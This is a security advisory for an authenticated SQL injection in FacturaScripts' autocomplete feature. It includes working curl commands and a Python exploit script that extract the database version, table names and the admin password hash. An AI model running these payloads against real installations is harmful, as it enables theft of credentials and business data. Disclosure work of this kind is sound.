CVE-2026-25514
EPSS 0.03%FacturaScripts has SQL Injection in Autocomplete Actions
描述
### Summary **FacturaScripts contains a critical SQL Injection vulnerability in the autocomplete functionality** that allows authenticated attackers to extract sensitive data from the database including user credentials, configuration settings, and all stored business data. The vulnerability exists in the `CodeModel::all()` method where user-supplied parameters are directly concatenated into SQL queries without sanitization or parameterized binding. --- ### Details Multiple controllers in FacturaScripts, including `CopyModel`, `ListController`, and `PanelController`, implement an autocomplete action that processes user input through the `CodeModel::search()` or `CodeModel::all()` methods. These methods construct SQL queries by directly concatenating user-controlled parameters without any validation or escaping. #### Vulnerable Code Location **File:** `/Core/Model/CodeModel.php` **Method:** `all()` **Lines:** 108-109 ```php public static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array { // ...... // VULNERABLE CODE: $sql = 'SELECT DISTINCT ' . $fieldCode . ' AS code, ' . $fieldDescription . ' AS description ' . 'FROM ' . $tableName . Where::multiSqlLegacy($where) . ' ORDER BY 2 ASC'; foreach (self::db()->selectLimit($sql, self::getLimit()) as $row) { $result[] = new static($row); } return $result; } ``` #### Vulnerable Parameters The following parameters are vulnerable to SQL Injection: 1. **`source`** → Maps to `$tableName` - Table name injection 2. **`fieldcode`** → Maps to `$fieldCode` - Column name injection 3. **`fieldtitle`** → Maps to `$fieldDescription` - Column name injection (Primary attack vector) #### Attack Flow 1. Attacker authenticates with valid credentials (any user role) 2. Attacker sends POST request to `/CopyModel` with `action=autocomplete` 3. Malicious SQL functions/queries are injected via the `fieldtitle` parameter 4. Application executes the injected SQL and returns results in JSON format 5. Attacker extracts sensitive data from the database --- ### Proof of Concept (PoC) #### Prerequisites - Valid authentication credentials (admin/admin in test instance) - Access to FacturaScripts web interface #### Step-by-Step Manual Exploitation (CLI) Since FacturaScripts uses `MultiRequestProtection`, a valid `multireqtoken` is required for every POST request. **1. Obtain initial token and session cookie:** FacturaScripts redirects `/` to `/login`, so we use `-L` to follow redirects and `-c` to save the session cookie. ```bash TOKEN=$(curl -s -L -c cookies.txt "http://localhost:8091/login" | grep -Po 'name="multireqtoken" value="\K[^"]+') echo $TOKEN ``` **2. Authenticate (Login):** Use the saved cookie and the token to log in. ```bash curl -s -b cookies.txt -c cookies.txt -X POST "http://localhost:8091/login" \ -d "fsNick=admin" \ -d "fsPassword=admin" \ -d "action=login" \ -d "multireqtoken=$TOKEN" ``` **3. Extract Database Version:** Obtain a fresh token for the next request and execute the injection. ```bash # Get fresh token TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+') # Execute SQLi curl -s -b cookies.txt "http://localhost:8091/CopyModel" \ -d "action=autocomplete" \ -d "source=users" \ -d "fieldcode=nick" \ -d "fieldtitle=version()" \ -d "term=admin" \ -d "multireqtoken=$TOKEN" ``` **4. Extract Database User and Name:** ```bash # Get fresh token TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+') # Execute SQLi curl -s -b cookies.txt "http://localhost:8091/CopyModel" \ -d "action=autocomplete" \ -d "source=users" \ -d "fieldcode=nick" \ -d "fieldtitle=concat(user(),' @ ',database())" \ -d "term=admin" \ -d "multireqtoken=$TOKEN" ``` **5. Extract Admin Password Hash:** ```bash # Get fresh token TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+') # Execute SQLi curl -s -b cookies.txt "http://localhost:8091/CopyModel" \ -d "action=autocomplete" \ -d "source=users" \ -d "fieldcode=nick" \ -d "fieldtitle=password" \ -d "term=admin" \ -d "multireqtoken=$TOKEN" ``` #### Automated Exploitation Script ```python #!/usr/bin/env python3 """ FacturaScripts SQL Injection Exploit - Autocomplete Author: Łukasz Rybak """ import requests import re import json # Configuration BASE_URL = "http://localhost:8091" USERNAME = "admin" PASSWORD = "admin" session = requests.Session() def get_csrf_token(url): """Extract CSRF token from page""" response = session.get(url) match = re.search(r'name="multireqtoken" value="([^"]+)"', response.text) return match.group(1) if match else None def login(): """Authenticate to FacturaScripts""" print(f"[*] Logging in as {USERNAME}...") token = get_csrf_token(f"{BASE_URL}/login") if not token: print("[!] Failed to get CSRF token") exit() data = { "multireqtoken": token, "action": "login", "fsNick": USERNAME, "fsPassword": PASSWORD } response = session.post(f"{BASE_URL}/login", data=data) if "Dashboard" not in response.text: print("[!] Login failed!") exit() print("[+] Successfully logged in.") def exploit_sqli(field_payload, term="admin", source="users", field_code="nick"): """Execute SQL injection through autocomplete""" data = { "action": "autocomplete", "source": source, "fieldcode": field_code, "fieldtitle": field_payload, "term": term } response = session.post(f"{BASE_URL}/CopyModel", data=data) try: return response.json() except: return None def main(): login() print("\n" + "="*60) print(" EXPLOITING SQL INJECTION IN AUTOCOMPLETE ") print("="*60 + "\n") # 1. Database version print("[*] Extracting database version...") res = exploit_sqli("version()") if res: print(f"[+] Database Version: {res[0]['value']}") # 2. Current user and database print("[*] Extracting DB user and database name...") res = exploit_sqli("concat(user(),' @ ',database())") if res: print(f"[+] DB User @ Database: {res[0]['value']}") # 3. Admin password hash print("[*] Extracting admin password hash...") res = exploit_sqli("password", term="admin") if res: print(f"[+] Admin Password Hash: {res[0]['value']}") # 4. All table names print("[*] Extracting table names...") res = exploit_sqli("(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())") if res: print(f"[+] Tables: {res[0]['value']}") print("\n[+] Exploitation complete!") if __name__ == "__main__": main() ``` <img width="2524" height="410" alt="image" src="https://github.com/user-attachments/assets/19178918-0b83-4b94-a41d-38f33b034f5d" /> --- ### Impact This SQL injection vulnerability has **CRITICAL** impact: #### Data Confidentiality - **Complete database disclosure** - Attacker can extract all data including: - User credentials (password hashes) - Customer information (names, addresses, tax IDs, etc.) - Financial records (invoices, payments, bank details) - Business logic and configuration data - Plugin and system settings #### Who is Impacted? - **All FacturaScripts installations** running vulnerable versions - **All authenticated users** can exploit (not just admins) - **Businesses using FacturaScripts** for accounting/invoicing - **Customers whose data is stored** in the system --- ### Recommended Fix #### Immediate Remediation **Option 1: Use Prepared Statements** ```php // File: Core/Model/CodeModel.php // Method: all() public static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array { // ... validation code ... // Validate and escape identifiers $safeTableName = self::db()->escapeColumn($tableName); $safeFieldCode = self::db()->escapeColumn($fieldCode); $safeFieldDescription = self::db()->escapeColumn($fieldDescription); // Use parameterized query $sql = 'SELECT DISTINCT ' . $safeFieldCode . ' AS code, ' . $safeFieldDescription . ' AS description ' . 'FROM ' . $safeTableName . Where::multiSqlLegacy($where) . ' ORDER BY 2 ASC'; foreach (self::db()->selectLimit($sql, self::getLimit()) as $row) { $result[] = new static($row); } return $result; } ``` ### Credits **Discovered by:** Łukasz Rybak
受影響套件(1)
- Packagist/facturascripts/facturascriptsfrom 0, < 2025.81
CVSS 分數
| 來源 | 版本 | 嚴重程度 | 向量 |
|---|---|---|---|
| osv | CVSS 4.0 | — | CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |